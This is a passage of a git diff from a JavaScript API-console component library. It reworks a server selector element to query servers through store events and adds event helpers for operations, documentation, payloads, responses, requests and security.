       opened: { type: Boolean },
 
       /**
-       * An `@id` of selected AMF shape.
-       * When changed, it computes servers for the selection
+       * The graph domain id of the selected domain object.
        */
-      selectedShape: { type: String },
+      domainId: { type: String },
       /**
-       * The type of the selected AMF shape.
-       * When changed, it computes servers for the selection
+       * The selected domain type.
+       * This is an abstract name from the api navigation.
        */
-      selectedShapeType: { type: String },
+      domainType: { type: String },
     };
   }
+  
+  /**
+   * @returns {string} The domain id (AMF id) of the rendered operation.
+   */
+  get domainId() {
+    return this[domainIdValue];
+  }
+
+  /**
+   * @param {string} value The domain id (AMF id) of the rendered operation.
+   */
+  set domainId(value) {
+    const old = this[domainIdValue];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[domainIdValue] = value;
+    this.requestUpdate('domainId', old);
+    this[processDebounce]();
+  }
+
+  /** 
+   * @returns {SelectionType|undefined} The domain id of the object to render.
+   */
+  get domainType() {
+    return this[domainTypeValue];
+  }
+
+  /** 
+   * @returns {SelectionType|undefined} The domain id of the object to render.
+   */
+  set domainType(value) {
+    const old = this[domainTypeValue];
+    if (old === value) {
+      return;
+    }
+    this[domainTypeValue] = value;
+    this.requestUpdate('domainType', old);
+    if (value) {
+      this[processDebounce]();
+    }
+  }
 
   get styles() {
     return elementStyles;
@@ -262,15 +304,11 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
    * servers.
    */
   get isValueCustom() {
-    const { servers = [], value } = this;
+    const { value } = this;
     if (!value) {
       return false;
     }
-    const hasServer = servers.some(s => s.url === value);
-    if (hasServer) {
-      return false;
-    }
-    return this.serverValues.indexOf(value) === -1;
+    return !this.serverValues.includes(value);
   }
 
   /**
@@ -335,42 +373,6 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
     return serversCount;
   }
 
-  /**
-   * Sets new selectedShape, then tries to update servers
-   * @param {String} value AMF shape id
-   */
-  set selectedShape(value) {
-    const old = this[selectedShapeValue];
-    if (old === value) {
-      return;
-    }
-    this[selectedShapeValue] = value;
-    this[processShapeChange](value, this.selectedShapeType);
-    this.requestUpdate('selectedShape', old);
-  }
-
-  get selectedShape() {
-    return this[selectedShapeValue];
-  }
-
-  /**
-   * Sets new selectedShapeType, then tries to update servers
-   * @param {string} value AMF shape type
-   */
-  set selectedShapeType(value) {
-    const old = this[selectedShapeTypeValue];
-    if (old === value) {
-      return;
-    }
-    this[selectedShapeTypeValue] = value;
-    this[processShapeChange](this.selectedShape, value);
-    this.requestUpdate('selectedShapeType', old);
-  }
-
-  get selectedShapeType() {
-    return this[selectedShapeTypeValue];
-  }
-
   constructor() {
     super();
     /**
@@ -378,6 +380,11 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
      * @type number
      */
     this[customNodesCount] = 0;
+    /** 
+     * The timeout after which the `queryGraph()` function is called 
+     * in the debouncer.
+     */
+    this.queryDebouncerTimeout = 1;
     this.opened = false;
     this.autoSelect = false;
     this.anypoint = false;
@@ -390,16 +397,101 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
      * @type {string[]}
      */
     this[customItems] = [];
-    /** @type AmfSerializer */
-    this[serializerValue] = new AmfSerializer();
     /** @type EventListener */
     this[onServersCountChangeValue] = undefined;
+    this[graphChangeHandler] = this[graphChangeHandler].bind(this);
+  }
+
+  connectedCallback() {
+    super.connectedCallback();
+    this[processDebounce]();
+  }
+
+  disconnectedCallback() {
+    super.disconnectedCallback();
+    if (this[debounceValue]) {
+      clearTimeout(this[debounceValue]);
+      this[debounceValue] = undefined;
+    }
+  }
+
+  /**
+   * @param {EventTarget} node
+   */
+  _attachListeners(node) {
+    node.addEventListener(EventTypes.Store.graphChange, this[graphChangeHandler]);
+    super._attachListeners(node);
+  }
+
+  /**
+   * @param {EventTarget} node
+   */
+  _detachListeners(node) {
+    node.removeEventListener(EventTypes.Store.graphChange, this[graphChangeHandler]);
+    super._detachListeners(node);
+  }
+
+  /**
+   * Handler for the event dispatched by the store when the graph model change.
+   */
+  [graphChangeHandler]() {
+    this[processDebounce]()
+  }
+
+  /**
+   * Calls the `queryGraph()` function in a debouncer.
+   */
+  [processDebounce]() {
+    if (this[debounceValue]) {
+      clearTimeout(this[debounceValue]);
+    }
+    this[debounceValue] = setTimeout(() => {
+      this[debounceValue] = undefined;
+      this.processGraph();
+    }, this.queryDebouncerTimeout);
   }
 
   firstUpdated() {
     this[notifyServersCount]();
   }
 
+  /**
+   * Queries for the current API server data from the store.
+   */
+  async processGraph() {
+    const oldValue = this.value;
+    await this[queryServers]();
+    // await this.requestUpdate();
+    this.value = '';
+    this.selectIfNeeded(oldValue);
+    this[notifyServersCount]();
+  }
+
+  /**
+   * Queries for the current servers value.
+   */
+  async [queryServers]() {
+    const { domainId, domainType } = this;
+    let endpointId;
+    let methodId;
+    if (domainType === 'operation') {
+      methodId = domainId;
+    } else if (domainType === 'resource') {
+      endpointId = domainId;
+    }
+    try {
+      const info = await Events.Server.query(this, {
+        endpointId,
+        methodId,
+      });
+      this[serversValue] = info;
+    } catch (e) {
+      this[serversValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API servers: ${e.message}`, this.localName);
+    }
+  }
+
   /**
    * Async function to set value after component has finished updating
    * @param {String} value
@@ -415,44 +507,14 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
     if (this.type !== type) {
       this.type = type;
     }
-    ServerEvents.serverChange(this, effectiveValue, this.type);
-  }
-
-  /**
-   * Receives shape id and shape type, and looks for endpointId
-   * if the type is 'endpoint'
-   * @param {string} id AMF shape id
-   * @param {string} type AMF shape type
-   * @private
-   */
-  [processShapeChange](id, type) {
-    let endpointId;
-    if (type === 'endpoint') {
-      endpointId = this[getEndpointIdForMethod](id);
-    }
-    this.updateServers({ id, type, endpointId });
-  }
-
-  /**
-   * Computes the endpoint id based on a given method id
-   * Returns undefined is endpoint is not found
-   * @param {string} methodId The AMF id of the method
-   * @returns {string|undefined}
-   */
-  [getEndpointIdForMethod](methodId) {
-    const webApi = this._computeApi(this.amf)
-    let endpoint = this._computeMethodEndpoint(webApi, methodId);
-    if (Array.isArray(endpoint)) {
-      [endpoint] = endpoint;
-    }
-    return endpoint ? /** @type string */ (this._getValue(endpoint, '@id')) : undefined;
+    Events.Server.serverChange(this, effectiveValue, this.type);
   }
 
   /**
    * Dispatches the `servers-count-changed` event with the current number of rendered servers.
    */
   [notifyServersCount]() {
-    ServerEvents.serverCountChange(this, this.serversCount);
+    Events.Server.serverCountChange(this, this.serversCount);
   }
 
   /**
@@ -466,40 +528,38 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
     this[notifyServersCount]();
   }
 
-  /**
-   * @param {AmfDocument} amf
-   * @override callback function when AMF change.
-   * This is asynchronous operation.
-   */
-  async __amfChanged(amf) {
-    this[serializerValue].amf = amf;
-    const { selectedShape, selectedShapeType } = this;
-    this[processShapeChange](selectedShape, selectedShapeType);
-    await this.updateComplete;
-    this.selectIfNeeded();
-  }
-
   /**
    * Executes auto selection logic.
-   * It selects a fist available sever from the serves list when AMF or operation
-   * selection changed.
-   * If there are no servers, but there are custom slots available, then select
-   * first custom slot
-   * When there's already valid selection then it does nothing.
-   */
-  selectIfNeeded() {
-    if (!this.autoSelect || this.isValueCustom) {
+   * 
+   * @param {string=} preferred The value that should be selected when possible.
+   */
+  selectIfNeeded(preferred) {
+    if (!this.autoSelect) {
+      if (preferred) {
+        this.value = preferred;
+      }
       return;
     }
+    if (preferred && this.servers) {
+      const has = this.servers.some(i => i.url === preferred) || this[customItems].includes(preferred);
+      if (has) {
+        this.value = preferred;
+        return;
+      }
+    }
     if (this.value) {
       return;
     }
+    if (!this.value && preferred && this.type === 'custom') {
+      this.value = preferred;
+      return;
+    }
     const [first] = this.servers;
     if (first) {
       this.value = first.url;
     } else {
       const [extra] = this[getExtraServers]();
-      if (extra && this.amf) {
+      if (extra) {
         this.type = 'extra';
         this.value = extra.getAttribute('data-value') || extra.getAttribute('value');
       }
@@ -577,28 +637,6 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
     return servers.findIndex(s => s.url === value);
   }
 
-  /**
-   * Update component's servers.
-   *
-   * @param {UpdateServersOptions=} selectedNodeParams The currently selected node parameters to set the servers for
-   */
-  updateServers({ id, type, endpointId } = {}) {
-    let methodId;
-    if (type === 'method') {
-      methodId = id;
-    }
-    if (type === 'endpoint') {
-      // eslint-disable-next-line no-param-reassign
-      endpointId = id;
-    }
-    const servers = this._getServers({ endpointId, methodId });
-    if (Array.isArray(servers)) {
-      this.servers = servers.map(s => this[serializerValue].server(s));
-    } else {
-      this.servers = undefined;
-    }
-  }
-
   /**
    * Handler for the listbox's change event
    * @param {CustomEvent} e
@@ -731,12 +769,12 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
       <label slot="label">Select server</label>
       <anypoint-listbox
         .selected="${value}"
-        @selectedchange="${this[selectionChangeHandler]}"
         slot="dropdown-content"
         tabindex="-1"
-        ?anypoint="${anypoint}"
         attrforselected="data-value"
         selectable="[value],[data-value]"
+        ?anypoint="${anypoint}"
+        @selectedchange="${this[selectionChangeHandler]}"
         @itemschange="${this[listboxItemsHandler]}"
       >
         ${this[selectorListTemplate]()}
diff --git a/src/events/ApiEvents.d.ts b/src/events/ApiEvents.d.ts
index 4de7c4e..0c0f67e 100644
--- a/src/events/ApiEvents.d.ts
+++ b/src/events/ApiEvents.d.ts
@@ -1,4 +1,5 @@
 import { ApiSummary } from '../helpers/api';
+import { DocumentMeta } from '../types';
 
 export declare interface IApiEvents {
   /**
@@ -6,6 +7,21 @@ export declare interface IApiEvents {
    * @param target The node on which to dispatch the event
    */
   summary(target: EventTarget): Promise<ApiSummary>;
+  /**
+   * Reads the current API's protocols.
+   * @param target The node on which to dispatch the event
+   */
+  protocols(target: EventTarget): Promise<string[]>;
+  /**
+   * Reads the current API's version.
+   * @param target The node on which to dispatch the event
+   */
+  version(target: EventTarget): Promise<string>;
+  /**
+   * Reads the meta information about the currently loaded document from the store.
+   * @param target The node on which to dispatch the event
+   */
+  documentMeta(target: EventTarget): Promise<DocumentMeta>;
 }
 
 export declare const ApiEvents: Readonly<IApiEvents>;
diff --git a/src/events/ApiEvents.js b/src/events/ApiEvents.js
index 49e6f25..c225e24 100644
--- a/src/events/ApiEvents.js
+++ b/src/events/ApiEvents.js
@@ -2,6 +2,7 @@ import { EventTypes } from './EventTypes.js';
 import { ApiStoreContextEvent } from './BaseEvents.js';
 
 /** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
+/** @typedef {import('../types').DocumentMeta} DocumentMeta */
 
 export const ApiEvents = {
   /**
@@ -14,5 +15,38 @@ export const ApiEvents = {
     target.dispatchEvent(e);
     return e.detail.result;
   },
+
+  /**
+   * Reads the current API's protocols.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @returns {Promise<string[]>}
+   */
+  protocols: async (target) => {
+    const e = new ApiStoreContextEvent(EventTypes.Api.protocols);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+
+  /**
+   * Reads the current API's version.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @returns {Promise<string>}
+   */
+  version: async (target) => {
+    const e = new ApiStoreContextEvent(EventTypes.Api.version);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+
+  /**
+   * Reads the meta information about the currently loaded document from the store.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @returns {Promise<DocumentMeta>}
+   */
+  documentMeta: async (target) => {
+    const e = new ApiStoreContextEvent(EventTypes.Api.documentMeta);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
 }
 Object.freeze(ApiEvents);
diff --git a/src/events/BaseEvents.d.ts b/src/events/BaseEvents.d.ts
index d041088..620c653 100644
--- a/src/events/BaseEvents.d.ts
+++ b/src/events/BaseEvents.d.ts
@@ -27,8 +27,9 @@ export class ApiStoreReadEvent<T> extends CustomEvent<ApiStoreReadEventDetail<T>
   /**
    * @param type The type of the event
    * @param id The domain id of the object to read
+   * @param parent The domain id of the parent object (like endpoint for an operation).
    */
-  constructor(type: string, id: string);
+  constructor(type: string, id: string, parent?: string);
 }
 
 /**
@@ -65,6 +66,10 @@ export declare interface ApiStoreReadEventDetail<T> extends StoreEventDetailWith
    * The domain id of the domain object to read.
    */
   id: string;
+  /**
+   * The domain id of the parent object (like endpoint for an operation).
+   */
+  parent?: string;
 }
 
 export declare interface ApiStoreReadBulkEventDetail<T> extends StoreEventDetailWithResult<T[]> {
diff --git a/src/events/BaseEvents.js b/src/events/BaseEvents.js
index 373707c..37bb446 100644
--- a/src/events/BaseEvents.js
+++ b/src/events/BaseEvents.js
@@ -47,9 +47,10 @@ export class ApiStoreReadEvent extends ApiStoreContextEvent {
   /**
    * @param {string} type The type of the event
    * @param {string} id The domain id of the object to read
+   * @param {string=} parent The domain id of the parent object (like endpoint for an operation).
    */
-  constructor(type, id) {
-    super(type, { id });
+  constructor(type, id, parent) {
+    super(type, { id, parent });
   }
 }
 
diff --git a/src/events/DocumentationEvents.d.ts b/src/events/DocumentationEvents.d.ts
new file mode 100644
index 0000000..4098d6e
--- /dev/null
+++ b/src/events/DocumentationEvents.d.ts
@@ -0,0 +1,12 @@
+import { ApiDocumentation } from '../helpers/api';
+
+declare interface IDocumentationEvents {
+  /**
+   * Reads RAML's/OAS's documentation page.
+   * @param target The node on which to dispatch the event
+   * @param id The domain id of the documentation.
+   */
+  get(target: EventTarget, id: string): Promise<ApiDocumentation>;
+}
+
+export declare const DocumentationEvents: Readonly<IDocumentationEvents>;
diff --git a/src/events/DocumentationEvents.js b/src/events/DocumentationEvents.js
new file mode 100644
index 0000000..ac5fac6
--- /dev/null
+++ b/src/events/DocumentationEvents.js
@@ -0,0 +1,29 @@
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreReadEvent, ApiStoreContextEvent } from './BaseEvents.js';
+
+/** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
+
+export const DocumentationEvents = {
+  /**
+   * Reads RAML's/OAS's documentation page.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} id The domain id of the documentation.
+   * @returns {Promise<ApiDocumentation>}
+   */
+  get: async (target, id) => {
+    const e = new ApiStoreReadEvent(EventTypes.Documentation.get, id);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+  /**
+   * Lists the documentation definitions for the API.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @returns {Promise<ApiDocumentation[]>} The list of documentations.
+   */
+  list: async (target) => {
+    const e = new ApiStoreContextEvent(EventTypes.Documentation.list);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+}
+Object.freeze(DocumentationEvents);
diff --git a/src/events/EndpointEvents.js b/src/events/EndpointEvents.js
index b6903ac..65ed75a 100644
--- a/src/events/EndpointEvents.js
+++ b/src/events/EndpointEvents.js
@@ -1,4 +1,3 @@
-/* eslint-disable max-classes-per-file */
 import { EventTypes } from './EventTypes.js';
 import { ApiStoreContextEvent, ApiStoreReadEvent } from './BaseEvents.js';
 
diff --git a/src/events/EventTypes.d.ts b/src/events/EventTypes.d.ts
index e163f28..a9e6353 100644
--- a/src/events/EventTypes.d.ts
+++ b/src/events/EventTypes.d.ts
@@ -1,5 +1,8 @@
 interface Security {
   settingsChanged: string;
+  get: string;
+  getRequirement: string;
+  list: string;
 }
 interface Request {
   apiRequest: string;
@@ -12,6 +15,11 @@ interface Request {
   redirectUriChangeLegacy: string;
   populateAnnotatedFields: string;
   populateAnnotatedFieldsLegacy: string;
+  get: string;
+}
+
+interface Response {
+  get: string;
 }
 
 interface Server {
@@ -22,6 +30,9 @@ interface Server {
 
 declare interface ApiEvents {
   summary: string;
+  protocols: string;
+  version: string;
+  documentMeta: string;
 }
 declare interface Navigation {
   apiNavigate: string;
@@ -33,6 +44,11 @@ declare interface EndpointEvents {
   list: string;
 }
 
+declare interface OperationEvents {
+  get: string;
+  getParent: string;
+}
+
 declare interface ReportingEvents {
   error: string;
 }
@@ -49,16 +65,35 @@ declare interface StoreEvents {
   graphChange: string;
 }
 
+declare interface DocumentationEvents {
+  get: string;
+  list: string;
+}
+
+declare interface PayloadEvents {
+  get: string;
+}
+
+declare interface TypeEvents {
+  get: string;
+  list: string;
+}
+
 interface IEventTypes {
   Security: Readonly<Security>;
   Request: Readonly<Request>;
+  Response: Readonly<Response>;
+  Payload: Readonly<PayloadEvents>;
   Server: Readonly<Server>;
   Api: Readonly<ApiEvents>;
   Navigation: Readonly<Navigation>;
   Endpoint: Readonly<EndpointEvents>;
+  Operation: Readonly<OperationEvents>;
   Reporting: Readonly<ReportingEvents>;
   Telemetry: Readonly<TelemetryEvents>;
   Store: Readonly<StoreEvents>;
+  Documentation: Readonly<DocumentationEvents>;
+  Type: Readonly<TypeEvents>;
 }
 
 export const EventTypes: Readonly<IEventTypes>;
diff --git a/src/events/EventTypes.js b/src/events/EventTypes.js
index 6a5124b..bdd710f 100644
--- a/src/events/EventTypes.js
+++ b/src/events/EventTypes.js
@@ -1,6 +1,9 @@
 export const EventTypes = Object.freeze({
   Security: Object.freeze({
     settingsChanged: 'securitysettingsinfochanged',
+    get: 'amfstoresecurityget',
+    getRequirement: 'amfstoresecuritygetrequirement',
+    list: 'amfstoresecuritylist',
   }),
   Request: Object.freeze({
     apiRequest: 'apirequest',
@@ -13,6 +16,13 @@ export const EventTypes = Object.freeze({
     redirectUriChangeLegacy: 'oauth2-redirect-uri-changed',
     populateAnnotatedFields: 'populateannotatedfields',
     populateAnnotatedFieldsLegacy: 'populate_annotated_fields',
+    get: 'amfstorerequestget',
+  }),
+  Response: Object.freeze({
+    get: 'amfstoreresponseget',
+  }),
+  Payload: Object.freeze({
+    get: 'amfstorepayloadget',
   }),
   Server: Object.freeze({
     serverChange: 'apiserverchanged',
@@ -21,6 +31,9 @@ export const EventTypes = Object.freeze({
   }),
   Api: Object.freeze({
     summary: 'amfstoreapisummary',
+    protocols: 'amfstoreapiprotocols',
+    version: 'amfstoreapiversion',
+    documentMeta: 'amfstoredocumentmeta',
   }),
   Navigation: Object.freeze({
     apiNavigate: 'apinavigate',
@@ -30,6 +43,10 @@ export const EventTypes = Object.freeze({
     byPath: 'amfstoreendpointbypath',
     list: 'amfstoreendpointlist',
   }),
+  Operation: Object.freeze({
+    get: 'amfstoreopget',
+    getParent: 'amfstoreopgetparent',
+  }),
   Reporting: Object.freeze({
     error: 'apierror',
   }),
@@ -43,4 +60,12 @@ export const EventTypes = Object.freeze({
   Store: Object.freeze({
     graphChange: 'apistoregraphchange',
   }),
+  Documentation: Object.freeze({
+    get: 'amfstoredocumentationget',
+    list: 'amfstoredocumentationlist',
+  }),
+  Type: Object.freeze({
+    get: 'amfstoretypeget',
+    list: 'amfstoretypeget',
+  }),
 });
diff --git a/src/events/Events.d.ts b/src/events/Events.d.ts
index d79b36a..d3c61b4 100644
--- a/src/events/Events.d.ts
+++ b/src/events/Events.d.ts
@@ -1,17 +1,17 @@
 import { IStoreEvents } from './StoreEvents';
 import { IEndpointEvents } from './EndpointEvents';
-// import { IOperationEvents } from './OperationEvents';
+import { IOperationEvents } from './OperationEvents';
 import { IApiEvents } from './ApiEvents';
 import { IServerEvents } from './ServerEvents';
 import { INavigationEvents } from './NavigationEvents';
-// import { IDocumentationEvents } from './DocumentationEvents';
-// import { ISecurityEvents } from './SecurityEvents';
-// import { ITypeEvents } from './TypeEvents';
-// import { IResponseEvents } from './ResponseEvents';
+import { IDocumentationEvents } from './DocumentationEvents';
+import { ISecurityEvents } from './SecurityEvents';
+import { ITypeEvents } from './TypeEvents';
+import { IResponseEvents } from './ResponseEvents';
 import { IRequestEvents } from './RequestEvents';
 import { IReportingEvents } from './ReportingEvents';
 import { ITelemetryEvents } from './TelemetryEvents';
-// import { IPayloadEvents } from './PayloadEvents';
+import { IPayloadEvents } from './PayloadEvents';
 // import { IParameterEvents } from './ParameterEvents';
 // import { IExampleEvents } from './ExampleEvents';
 // import { ICustomPropertyEvents } from './CustomPropertyEvents';
@@ -20,20 +20,21 @@ declare interface IEvents {
   Store: IStoreEvents;
   Api: IApiEvents;
   Endpoint: IEndpointEvents;
-  // Operation: IOperationEvents;
+  Operation: IOperationEvents;
   Server: IServerEvents;
   // Documentation: IDocumentationEvents;
-  // Security: ISecurityEvents;
-  // Type: ITypeEvents;
-  // Response: IResponseEvents;
+  Security: ISecurityEvents;
+  Type: ITypeEvents;
+  Response: IResponseEvents;
   Request: IRequestEvents;
-  // Payload: IPayloadEvents;
+  Payload: IPayloadEvents;
   // Parameter: IParameterEvents;
   // Example: IExampleEvents;
   // CustomProperty: ICustomPropertyEvents;
   Navigation: INavigationEvents;
   Reporting: IReportingEvents;
   Telemetry: ITelemetryEvents;
+  Documentation: IDocumentationEvents;
 }
 
 export const Events: Readonly<IEvents>;
diff --git a/src/events/Events.js b/src/events/Events.js
index dffba6f..9346bac 100644
--- a/src/events/Events.js
+++ b/src/events/Events.js
@@ -1,17 +1,17 @@
 import { StoreEvents } from './StoreEvents.js';
 import { EndpointEvents } from './EndpointEvents.js';
-// import { OperationEvents } from './OperationEvents.js';
+import { OperationEvents } from './OperationEvents.js';
 import { ApiEvents } from './ApiEvents.js';
 import { ServerEvents } from './ServerEvents.js';
 import { NavigationEvents } from './NavigationEvents.js';
-// import { DocumentationEvents } from './DocumentationEvents.js';
-// import { SecurityEvents } from './SecurityEvents.js';
-// import { TypeEvents } from './TypeEvents.js';
-// import { ResponseEvents } from './ResponseEvents.js';
+import { DocumentationEvents } from './DocumentationEvents.js';
+import { SecurityEvents } from './SecurityEvents.js';
+import { TypeEvents } from './TypeEvents.js';
+import { ResponseEvents } from './ResponseEvents.js';
 import { RequestEvents } from './RequestEvents.js';
 import { ReportingEvents } from './ReportingEvents.js';
 import { TelemetryEvents } from './TelemetryEvents.js';
-// import { PayloadEvents } from './PayloadEvents.js';
+import { PayloadEvents } from './PayloadEvents.js';
 // import { ParameterEvents } from './ParameterEvents.js';
 // import { ExampleEvents } from './ExampleEvents.js';
 // import { CustomPropertyEvents } from './CustomPropertyEvents.js';
@@ -20,14 +20,14 @@ export const Events = {
   Store: StoreEvents,
   Api: ApiEvents,
   Endpoint: EndpointEvents,
-  // Operation: OperationEvents,
+  Operation: OperationEvents,
   Server: ServerEvents,
-  // Documentation: DocumentationEvents,
-  // Security: SecurityEvents,
-  // Type: TypeEvents,
-  // Response: ResponseEvents,
+  Documentation: DocumentationEvents,
+  Security: SecurityEvents,
+  Type: TypeEvents,
+  Response: ResponseEvents,
   Request: RequestEvents,
-  // Payload: PayloadEvents,
+  Payload: PayloadEvents,
   // Parameter: ParameterEvents,
   // Example: ExampleEvents,
   // CustomProperty: CustomPropertyEvents,
diff --git a/src/events/OperationEvents.d.ts b/src/events/OperationEvents.d.ts
new file mode 100644
index 0000000..d092a25
--- /dev/null
+++ b/src/events/OperationEvents.d.ts
@@ -0,0 +1,20 @@
+import { ApiEndPoint, ApiOperation } from '../helpers/api';
+
+declare interface IOperationEvents {
+  /**
+   * Reads the operation from the store.
+   * @param target The node on which to dispatch the event
+   * @param operationId The domain id of the operation to read.
+   * @param endpointId Optional endpoint id. When not set it searches through all endpoints.
+   */
+  get(target: EventTarget, operationId: string, endpointId?: string): Promise<ApiOperation>;
+  /**
+   * Reads the operation parent from the store.
+   * @param target The node on which to dispatch the event
+   * @param operationId The domain id of the operation to read.
+   * @param endpointId Optional endpoint id. When not set it searches through all endpoints.
+   */
+  getParent(target: EventTarget, operationId: string, endpointId?: string): Promise<ApiEndPoint>;
+}
+
+export declare const OperationEvents: Readonly<IOperationEvents>;
diff --git a/src/events/OperationEvents.js b/src/events/OperationEvents.js
new file mode 100644
index 0000000..937b173
--- /dev/null
+++ b/src/events/OperationEvents.js
@@ -0,0 +1,33 @@
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreReadEvent } from './BaseEvents.js';
+
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
+
+export const OperationEvents = {
+  /**
+   * Reads the operation from the store.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} operationId The domain id of the operation to read.
+   * @param {string=} endpointId Optional endpoint id. When not set it searches through all endpoints.
+   * @returns {Promise<ApiOperation>}
+   */
+  get: async (target, operationId, endpointId) => {
+    const e = new ApiStoreReadEvent(EventTypes.Operation.get, operationId, endpointId);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+  /**
+   * Reads the operation parent from the store.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} operationId The domain id of the operation to read.
+   * @returns {Promise<ApiEndPoint>}
+   */
+  getParent: async (target, operationId) => {
+    const e = new ApiStoreReadEvent(EventTypes.Operation.getParent, operationId);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+};
+
+Object.freeze(OperationEvents);
diff --git a/src/events/PayloadEvents.d.ts b/src/events/PayloadEvents.d.ts
new file mode 100644
index 0000000..eeab570
--- /dev/null
+++ b/src/events/PayloadEvents.d.ts
@@ -0,0 +1,12 @@
+import { ApiPayload } from '../helpers/api';
+
+declare interface IPayloadEvents {
+  /**
+   * Reads a Payload from the store.
+   * @param target The node on which to dispatch the event
+   * @param id The id of the Payload to read.
+   */
+  get(target: EventTarget, id: string): Promise<ApiPayload>;
+}
+
+export declare const PayloadEvents: Readonly<IPayloadEvents>;
diff --git a/src/events/PayloadEvents.js b/src/events/PayloadEvents.js
new file mode 100644
index 0000000..9d265c2
--- /dev/null
+++ b/src/events/PayloadEvents.js
@@ -0,0 +1,20 @@
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreReadEvent } from './BaseEvents.js';
+
+/** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
+
+export const PayloadEvents = {
+  /**
+   * Reads a Payload from the store.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} id The id of the Payload to read.
+   * @returns {Promise<ApiPayload>}
+   */
+  get: async (target, id) => {
+    const e = new ApiStoreReadEvent(EventTypes.Payload.get, id);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+}
+
+Object.freeze(PayloadEvents);
diff --git a/src/events/RequestEvents.d.ts b/src/events/RequestEvents.d.ts
index b59c99f..eff1307 100644
--- a/src/events/RequestEvents.d.ts
+++ b/src/events/RequestEvents.d.ts
@@ -1,4 +1,5 @@
 import { ApiConsoleRequest, ApiConsoleResponse, AbortRequestEventDetail } from '../types';
+import { ApiRequest } from '../helpers/api';
 
 /**
  * The event dispatched to transport request from the api request editor.
@@ -59,6 +60,12 @@ interface IRequestEvents {
    * @param target The node on which to dispatch the event.
    */
   apiResponseLegacy(target: EventTarget, response: ApiConsoleResponse): void;
+  /**
+   * Reads a Request from the store.
+   * @param target The node on which to dispatch the event
+   * @param id The id of the request to read.
+   */
+  get(target: EventTarget, id: string): Promise<ApiRequest>;
 }
 
 export const RequestEvents: IRequestEvents;
diff --git a/src/events/RequestEvents.js b/src/events/RequestEvents.js
index 8aaf12f..a5dcac4 100644
--- a/src/events/RequestEvents.js
+++ b/src/events/RequestEvents.js
@@ -1,9 +1,11 @@
 /* eslint-disable max-classes-per-file */
 import { EventTypes } from './EventTypes.js';
+import { ApiStoreReadEvent } from './BaseEvents.js';
 
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
 /** @typedef {import('../types').ApiConsoleResponse} ApiConsoleResponse */
 /** @typedef {import('../types').AbortRequestEventDetail} AbortRequestEventDetail */
+/** @typedef {import('../helpers/api').ApiRequest} ApiRequest */
 
 /**
  * The event dispatched to transport request from the api request editor.
@@ -111,4 +113,15 @@ export const RequestEvents = {
     const e = new ApiResponseEvent(EventTypes.Request.apiResponseLegacy, response);
     target.dispatchEvent(e);
   },
+  /**
+   * Reads a Request from the store.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} id The id of the request to read.
+   * @returns {Promise<ApiRequest>}
+   */
+  get: async (target, id) => {
+    const e = new ApiStoreReadEvent(EventTypes.Request.get, id);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
 }
diff --git a/src/events/ResponseEvents.d.ts b/src/events/ResponseEvents.d.ts
new file mode 100644
index 0000000..bad33ab
--- /dev/null
+++ b/src/events/ResponseEvents.d.ts
@@ -0,0 +1,12 @@
+import { ApiResponse } from '../helpers/api';
+
+declare interface IResponseEvents {
+  /**
+   * Reads a Response from the store.
+   * @param target The node on which to dispatch the event
+   * @param id The id of the Response to read.
+   */
+  get(target: EventTarget, id: string): Promise<ApiResponse>;
+}
+
+export declare const ResponseEvents: Readonly<IResponseEvents>;
diff --git a/src/events/ResponseEvents.js b/src/events/ResponseEvents.js
new file mode 100644
index 0000000..86e18f7
--- /dev/null
+++ b/src/events/ResponseEvents.js
@@ -0,0 +1,21 @@
+/* eslint-disable max-classes-per-file */
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreReadEvent } from './BaseEvents.js';
+
+/** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
+
+export const ResponseEvents = {
+  /**
+   * Reads a Response from the store.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} id The id of the response to read.
+   * @returns {Promise<ApiResponse>}
+   */
+  get: async (target, id) => {
+    const e = new ApiStoreReadEvent(EventTypes.Response.get, id);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+}
+
+Object.freeze(ResponseEvents);
diff --git a/src/events/SecurityEvents.d.ts b/src/events/SecurityEvents.d.ts
new file mode 100644
index 0000000..44c7702
--- /dev/null
+++ b/src/events/SecurityEvents.d.ts
@@ -0,0 +1,34 @@
+import { ApiSecurityScheme, ApiSecurityRequirement } from '../helpers/api';
